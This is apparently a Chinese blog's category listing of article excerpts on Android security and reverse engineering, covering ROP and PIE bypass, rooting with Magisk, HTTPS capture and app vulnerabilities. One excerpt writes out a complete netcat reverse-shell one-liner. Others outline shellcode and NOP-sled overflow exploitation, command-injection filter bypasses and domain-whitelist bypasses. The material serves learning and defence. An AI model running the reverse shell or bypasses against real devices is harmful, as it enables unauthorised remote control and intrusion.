android安全与逆向
文章平均质量分 82
江西省遂川县常驻深圳大使
南唐保大元年(943年),析泰和龙泉乡什善镇置龙泉场;南唐李璟十八年(960年)升场为县,名龙泉县;民国三年(1914年)改名,是为遂川县。
遂川县最大的镇是泉江镇; 遂川县有火车站吗?正在建渝长厦高铁遂川站
遂川三大特产金桔、板鸭、狗牯脑; 遂川县好玩的地方有源头湖公园、龙泉公园、东江源水上乐园、聚满源农庄等等;遂川县是吉安市面积最大、人口最多的县;
遂川县人口2021年遂川县人口常住户籍51万+;江西吉安遂川县;江西吉安遂川教育局官网百度自己搜
展开
-
二、pwn - 零基础ROP之PIE保护绕过-碰撞
本文唯一区别在于,我们不利用vulnerable_function打印的地址,无法定位pie base地址,直接随机碰撞(爆破)~ 有一定比例成功的可能,贴近实战!但是呢,内存溢出后覆盖PC,要么修改2位、4、6、8...位,无法修改3位,又因为arm是小端模式,例如0x6b25741, 在内存中排列为0x41 0x57 0x6b...所以0x70d 是低地址,前面存在1位 未知的数值,在1-F (16进制)之间,可能是0x170d、也可能是0x270d、0x370d...0xf70d。原创 2024-04-18 15:43:33 · 259 阅读 · 2 评论 -
一、pwn - 零基础ROP之Android ARM 32位篇(新修订,精华篇)
一旦你知道了溢出的偏移量,你就可以构造一个包含NOP滑梯、shellcode以及用于覆盖PC的正确地址的有效载荷。你需要确保shellcode位于溢出点之后,并且PC被设置为指向NOP滑梯的开始部分,这样当执行流到达该位置时就会滑入你的shellcode并执行。使用模式创建工具来确定哪部分输入覆盖了程序计数器(PC),是一种常见的方法,特别是在开发缓冲区溢出漏洞利用时。当程序崩溃时,检查程序计数器(PC)的值。工具将输出一个数字,表示在模式中的偏移量,这个数字就是从输入数据的开始到覆盖PC的点的字节数。原创 2024-04-17 18:18:54 · 784 阅读 · 1 评论 -
pwndbg 基本操作指令
/生成50个用来溢出的字符,如:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama。//显示rdi寄存器的值,注意和x的区别,这只是显示rdi的值,而不是rdi指向的值。//查看0x123456地址的值,//计算0x10-0x08的结果。//打印fun_name的地址,//显示arena的详细信息。//打印包含返回地址的栈地址。//像IDA那样显示数据,//直接看canary的值。//显示rdi指向的值。//查看变量a的地址。,会跟提示所有操作堆的地方。转载 2024-04-17 10:14:08 · 14 阅读 · 0 评论 -
一行代码实现Android反向shell(Reverse shell)
cd /data/data/你的私有目录 && mkfifo f && cat f | /system/bin/sh -i 2>&1 | nc PC_IP 4444 > f。你的私有目录 这个目录可以是你APK的目录,或者你权限读写执行的目录。通过反向shell,即使你无法启用 adb,你也可以拥有一个反向 shell 并通过你的 PC 控制手机。本文通过一行代码即可实现Android反向shell(Reverse shell)。网上关于android得反向shell 多是需要安装apk的,操作麻烦。原创 2024-04-12 21:00:12 · 188 阅读 · 0 评论 -
CTF-命令注入绕过技巧总结
执行顺序:输出base64编码内容------>base64解码其编码内容------>执行bash命令。cmd1 || cmd2 cmd1执行失败则执行cmd2,若cmd1执行成功则不执行cmd2。注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行。cmd1&&cmd2 与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2。管道符”|“左边的命令的输出会作为管道符”|“右边命令的输入。核心:利用管道符”|“将左边命令的输入作为右边命令的输出。转载 2024-04-10 17:21:46 · 28 阅读 · 0 评论 -
C语言中不安全函数、安全函数
那么,您应该认为如果您的缓冲区足够大,可以处理可能的最长名称,您的程序会 安全,对吗?它可以做与 gets() 所做的同样的事情,但它接受用来限制读入字符数目的大小参数,因此,提供了一种防止缓冲区溢出的方法。遗憾的是,即使是系统调用的“安全”版本 ― 譬如,相对于 strcpy() 的 strncpy() ― 也不完全安全。然而,获得效率的代价是,C 程序员必须十分警觉,并且有极强的安全意识,才能防止他们的程序出现问题,而且即使这些,使代码不出问题也不容易。没有实际执行堆栈中的代码,只有堆中的代码。转载 2024-03-08 15:19:38 · 131 阅读 · 0 评论 -
Android抓包--不走代理的请求Proxy.NO_PROXY,过代理检测,burpsuite+Postern
网上很多不走代理检测的抓包都是charles + Postern 或 charles + Postern + burpsuite,本文使用burpsuite+Postern。原创 2024-03-05 16:31:30 · 655 阅读 · 0 评论 -
【精华】android抓包https(tls)全教程,openssl生成burpsuite证书,并导入
为什么需要365天证书,因为chrome等一些软件会检测证书时长,太长了报错:证书有效期过长的错误1、openssl生成burpsuite证书然后一路按回车,直到生成2、生成p12证书文件自定义一个密码,比如1234563、导入到burpsuite,点击代理-选项-导入/导出ca证书-进口(import)-来自pkcs12密钥库的证书和密钥,选择burp.pfx文件,输入密码,点击下一步完成。原创 2024-02-27 15:03:28 · 1048 阅读 · 0 评论 -
Android super.img解包和打包指南(含工具下载lpunpack、lpmake、lpdump)
Android super.img的解包和打包指南,含工具下载lpunpack、lpmake、lpdump原创 2024-02-01 14:57:04 · 3496 阅读 · 2 评论 -
Android-based PAX POS vulnerabilities (Part 1)
Banking companies worldwide are finally shifting away from custom-made Point of Sale (POS) devices towards the wildly adopted and battle-tested Android operating system. No more obscure terminals; the era of giant, colorful touchscreens is here! While Andr转载 2024-01-18 10:59:30 · 114 阅读 · 0 评论 -
直接修改ROM的init.rc,重新打包刷入不生效的原因
不能经过adb shell修改的缘由(8楼) spainit.rc 是 rootfs 中的文件,Android 将 rootfs(initramfs) link 到 linux kernel image 中,生成正常启动的boot.img, recovery 模式的 recovery.img. get。转载 2023-12-31 18:26:43 · 218 阅读 · 0 评论 -
Magisk 对 boot.img 做了什么?
总之,Magisk 主要通过向 boot.img 中添加二进制文件和修改 init 脚本来注入 Magisk 框架并获取 root 权限,同时禁用某些功能以避免干扰。转载 2023-12-30 21:46:46 · 201 阅读 · 0 评论 -
修改Android开机Logo、动画、充电图标等
在mediatek/source/external/boot_logo_upater/Android.mk中会将boot_logo 文件放到out/target/product/system/media/images/boot_logo. 这样就放到了system.img中.Logo/update 针对hvga_XXX_kernel.bmp有特殊处理,将其转成raw文件并命名为/logo/boot_logo。hvga_uboot.bmp是第一屏,hvga_kernel.bmp是第二屏。转载 2023-12-25 10:41:22 · 515 阅读 · 0 评论 -
STS、CTS、GTS、VTS测试指南
Android Security Test Suite (STS) 是谷歌关于android安全补丁安装情况的一个测试套件STS和security patch相关的,是CTS测试新增加一项安全测试套件。STS是201808才开始测试的。Security patch日期在3个月内是GTS的一个case,如果不通过无法获得google认证。在18年5月之前谷歌对于security patch这个属性都是在build库下面跟着aosp更新的。现在需要通过STS之后由vendor来更新。转载 2023-12-20 17:46:32 · 646 阅读 · 0 评论 -
root(Magisk )环境下增加 adb root 功能
修改 ro.debuggable 为 1杀掉 adbd,让 __android_log_is_debuggable 返回为 1调用 adb root 用于配置 service.adb.root = 1adbd 正常是 root 用户启动,然后通过降权到 shell 用户,我们是通过修改属性来达到不降权;转载 2023-12-19 18:13:08 · 1612 阅读 · 1 评论 -
【解决】刷了Magisk修改后的boot,magisk仍然没有ROOT
将以下代码命名为su,然后push到android设备的/system/bin目录。然后即可root即可正常运行。原创 2023-10-18 16:01:27 · 2049 阅读 · 0 评论 -
实战|记一次APP多限制绕过
最开始使用某混淆过的frida发现还是会被检测到,先使用frida hook dlopen查看加载的so,dlopen主要用于加载一些系统的库,可以看到打开了libc.so库,基于libc.so的检测一般分为两种一种是文件读写类,如maps和状态等,另一种就是线程类,通过dlopen_ext也可以知道libexec和libexecmain很有可能就是检测frida的so。看样子是还存在双进程保护,测试几次最终通过先执行spawn模式启动,程序卡死,弹出是继续等待还是退出,点击退出。转载 2023-07-20 09:19:41 · 427 阅读 · 0 评论 -
【分享】ROM厂商刷机工具合集
MTK刷机SP_Flash_Tool、MTKClient、SN_WRITE;高通QPST\QFIL原创 2023-07-10 17:19:37 · 1724 阅读 · 0 评论 -
【解决】秘钥硬编码安全问题
下面给一个方案,对数据进行变形。算法如下:对每一个字节做一次循环右移对每一个字节用一个表的数据做位异或操作转为16进制数目前没有安全的方法保存秘钥,除非使用硬件来解决(后台的加密机使用的就是硬件,秘钥放在芯片里),所以本地保存数据需要遵循:需要长久更安全的保存,使用keychain的方式保存不要保存敏感信息,如果要保存需要先做脱敏任何时候都不要保存密码。原创 2023-06-30 10:29:14 · 1475 阅读 · 0 评论 -
Android安全检测-Intent Scheme URLs攻击风险
通过浏览器(WebView)加载URI的形式使用Intent协议跳转到指定的app页面。一般使用Intent.parseUri(String uri,int flags)方法,来构造Intent。攻击者可构造特殊格式的URL直接向系统发送意图,启动App应用的Activity组件或者发送异常数据,导致应用的敏感信息泄露或者应用崩溃。通过漏洞原理可以了解到漏洞产生的原因,那么现在来了解一下和这个漏洞相关的一些知识。方法,那么必须对获取的intent进行严格过滤,intent至少包含。上述的漏洞描述中可知,转载 2023-06-19 10:57:18 · 424 阅读 · 0 评论 -
再谈Parcelable反序列化漏洞和Bundle mismatch
近期在做Parcelable反序列化和Bundle mismatch方面的研究,在这个过程中有很多需要记录的内容,有些也是网络上相关文章没有提到的一些细节,并且由于aliyun上那篇最经典的原始文章链接失效,所以决定写一篇文章记录这种漏洞。由于Google官方在Android 13中的修改,这类漏洞即将退出历史舞台了,所以也用这篇文章作为纪念吧。转载 2023-06-15 17:28:40 · 243 阅读 · 0 评论 -
【解决】android设备有root权限,执行“adb disable-verity”命令报错“verity cannot be disabled/enabled - USER build”
在bootloader模式下,执行“fastboot disable-verity”命令来禁用verity功能。等待设备重启完成后,再次执行“adb disable-verity”命令,应该就可以成功禁用verity功能了。确认你的设备是否已经启用了开发者选项,可以在设备设置中找到“开发者选项”并启用。注意:在执行以上步骤前,请务必备份你的设备数据,以免出现意外情况导致数据丢失。确认你的设备是否已经root,可以通过执行“adb root”命令来检查。执行“fastboot reboot”命令重启设备。原创 2023-05-26 16:32:40 · 7084 阅读 · 5 评论 -
绕过Android域名白名单校验的方法
而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。然而,对于第一个链接,浏览器会自动把反斜杠 "\" 纠正为正斜杠 "/"对于第二个链接,反斜杠 "\" 会以 URL 编码形式保留而无法触发方法1。事实上,有大量的开发者因为不了解这个性质,认为传入的 url 已经是”正常“通过。,才是被攻击的 Activity 拉起的实际地址。转载 2023-02-24 11:11:40 · 606 阅读 · 0 评论 -
字节跳动安全合规检测技术之Android篇
业务安全合规检测通过 CI/CD 阶段卡口,针对新增代码进行分析检查、合码管控、问题溯源,针对构建产物进行发版管控,避免隐私、合规相关问题被带到线上引发安全合规风险。转载 2023-02-01 14:52:02 · 508 阅读 · 0 评论 -
移动应用安全常用组件Soot、Flowdroid简介&基本使用
soot是java优化框架,提供4种中间代码来分析和转换字节码。FlowDroid是目前对Android app进行污点分析效果最好的工具之一转载 2023-01-31 16:44:35 · 182 阅读 · 0 评论 -
android Settings系统的三种数据属性及其adb修改指令
如:adb shell settings put global http_proxy 127.0.0.1:8888。adb shell settings put global http_proxy 代理IP地址:端口号。1.global:所有的偏好设置对系统的所有用户公开,第三方APP有读没有写的权限;3.secure:安全性的用户偏好系统设置,第三方APP有读没有写的权限。2.system:包含各种各样的用户偏好系统设置;列出global配置表中的所有属性值。取出指定配置表中指定属性值。原创 2022-12-15 10:38:47 · 3487 阅读 · 0 评论 -
Magisk学习之刷入vbmeta.img及关闭avb2.0校验
这三种安装方式教程很多,主要介绍一下直接安装或者patch boot.img刷完magisk变砖之后遇到的分区验证导致变砖问题以及如何解决。从刷入Magisk的方式都需要操作boot.img也可以看出来,magisk的核心原理就是修改和替换了负责安卓系统启动的boot.img中的Ramdisk部分,该映像包括了一系列初始化init进程和启动时使用的rc文件。转载 2022-12-12 15:16:17 · 7096 阅读 · 1 评论 -
常见APP攻击方法 以及防御方法介绍(移动安全)
用户打开安卓手机上的某一应用,这时,恶意软件侦测到用户的这一动作,如果立即弹出一个与该应用类似的界面,拦截了合法的应用,用户几乎无法察觉,该用户接下输入账号、卡密什么的 其实是在恶意软件上进行的,接下来会发生什么就可想而知了。用户财产损失、隐私泄露;1、恶意应用监听了受害者应用的启动操作,然后弹出UI界面覆盖受害者,让用户误以为是目标应用的窗口,进而冒充盗取用户账号密码、卡密等操作。逆向分析工具 IDA Pro、jdb、gdb、class-dump-z、Clutch、introspy、Cycript等。原创 2022-11-25 20:06:10 · 6247 阅读 · 0 评论 -
浅谈Android开放网络端口的安全风险
Android应用通常使用等不同domain的来进行本地IPC或者远程网络通信,这些暴露的socket代表了潜在的本地或远程攻击面,历史上也出现过不少利用socket进行拒绝服务、root提权或者远程命令执行的案例。特别是PF_INET。转载 2022-10-12 14:55:56 · 1902 阅读 · 0 评论 -
Android Content Provider权限和安全详解
如果content provider允许其他应用调用,即允许其他进程调用,需要将该属性设置为true。ProPermissionClient具有读取content provider的权限,它去调用另一个应用C的activity,例子中这个另一个应用C为ProPermissionGrant,但是这个例子没有读取content provider的权限,ProPermissionClient可以将自己的权限通过intent传递给应用C,让其也具有访问content provider的权限。转载 2022-09-23 16:05:43 · 2560 阅读 · 0 评论 -
android Binder安全性、Unix Socket安全性研究
风险点: Binder 的服务任何 应用都可以bindService,或者提供类似的Binder服务(第三方应用可以做成和Binder 服务相同包名)安全建议:① 、需要确保 AIDL应用优先安装/预制(不要OTA后下载);②、Binder 里 可以获取 Binder.getCallingPid(),然后通过pid获取应用包名、签名来 对调用方的来源进项验证 (高版本普通应用 未必能通过pid获取包名,系统应用除外);③、Binder接口里增加鉴权参数(需要自行设计)原创 2022-09-13 10:43:13 · 1109 阅读 · 0 评论 -
gcc安全编译选项详解(NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY)
gcc安全编译选项详解(NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY)转载 2022-09-02 13:40:40 · 6676 阅读 · 0 评论 -
盘点:最可怕的六种移动攻击策略
为了应对这些新的移动恶意软件策略和威胁,企业需要确保其网络安全计划包括强大的移动安全防御体系,其中包括移动设备管理解决方案、多因素身份验证和强大的员工访问控制。而且,由于移动恶意软件感染通常始于社会工程,因此公司应积极提供安全意识培训,并考虑部署技术监控移动攻击的通信渠道。...转载 2022-08-01 14:30:06 · 196 阅读 · 0 评论 -
Android常见九大漏洞,附解决建议
Android应用会遇到各种各样的漏洞,如何从细节上了解各种安全隐患,积极采取适当的防御措施便变得尤为重要。为了让大家对Android漏洞有一个非常全面的认识,网易云易盾资深安全工程师徐从祥为大家详细解读常见九大的Android漏洞,供各位学习参考。(如果下面干货内容没有让各位尽兴,欢迎来官网申请相关产品试用,面对面交流,保证解决你的安全难题。) 第一大类:AndroidManifest配置相关的风险或漏洞程序可被任意调试风险详情:安卓应用apk配置文件Android Manifest.xml中an转载 2022-06-27 11:45:20 · 1266 阅读 · 0 评论 -
Android抓包攻防技术(代理检测与反代理)
一.检测代理1. 原理APP在发起网络请求前会检测系统是否设置了代理,如果发现有代理,就不发起请求。以下是一段APP检测系统是否有代理的实例代码:public static boolean isWifiProxy(Context context) { final boolean IS_ICS_OR_LATER = Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH; String proxyAdd转载 2022-05-17 15:29:01 · 7429 阅读 · 1 评论 -
Android APP漏洞之战(9)——验证码漏洞详解
开始引入CA证书校验机制,这里先会涉及到Https的单向认证机制上述步骤4就进行证书校验的环节,而这里的证书便是将手机内置的证书和客户端的证书进行校验,来判断是否合法 1 2 3 Https原理:非对称+对称连接 (1)非对称主要是为了传输对称连接所需要密钥和证书校验 (2)对称连接是加密密码可以安全传输,就可以采用对称连接 Android4.4-Android7.0这个阶段,Androi...转载 2022-04-25 09:39:25 · 1928 阅读 · 0 评论 -
tcpdump命令选项介绍
tcpdump的简单选项介绍-A 以ASCII码方式显示每一个数据包(不会显示数据包中链路层头部信息). 在抓取包含网页数据的数据包时, 可方便查看数据(nt: 即Handy for capturing web pages).-c count tcpdump将在接受到count个数据包后退出.-C file-size (nt: 此选项用于配合-w file 选项使用) 该选项使得tcpdump 在把原始数据包直接保存到文件中之前, 检查此文件大小是否超过file-s转载 2022-03-10 15:27:01 · 287 阅读 · 0 评论 -
strace (android ARM/ARM64)架构编译
参考:Ubuntu 14.04 编译最新版本strace_Android/Linux的专栏-CSDN博客_strace编译上述链接只编译了arm,我们这里总结下,包括arm64的编译:例如:apt-get install gcc-aarch64-linux-gnu./configure --host=aarch64-linux CC=aarch64-linux-gnu-gcc LD=aarch64-linux-gnu-gcc-ld --prefix=/home/xieyuan/out/原创 2022-01-04 15:41:31 · 2751 阅读 · 0 评论 -
Android修改ro.debuggable 华为真机adb调试所有进程
没有解锁或者root的,需要先解锁和root哦。虽然目前华为官方关闭了解锁通道,但是大部分机型淘宝上都是能解的,非常方便,也就十几块钱。我修改ro.debuggable的目的是为了调试所有程序一、修改手机ro.debuggable前两种是临时修改,修改后需要重启adb,并且重启机子后会失效。1、使用mprop修改(第一种方法 亲测成功)该方法在华为M3 EMUI 5.0.4 Android 7.0上测试成功mprop下载地址:mprop170119.zip1.1、拷贝mprop转载 2021-11-07 22:22:39 · 2220 阅读 · 0 评论 -
APK防反编译
概述我们的APK实际上就是一个ZIP压缩文件,里面包含有一个classes.dex,我们编译后生成的程序代码就全部在那里了,通过apktool等工具可以轻松地将它们反编译成smali代码。有了这些反编译出来的smali代码之后,我们就可以轻松地了解别人的APK使用的一些技术或者直接修改别人的APK。由于这些APK反编译工具的存在,我们迫切地希望能有方法去防止别人来反编译我们的APK,从而保护自己的商业机密和利益。主要讲了三种APK防反编译技术:添加非法指令; 隐藏敏感代码 伪APK加密技术。转载 2021-10-17 19:31:52 · 1061 阅读 · 0 评论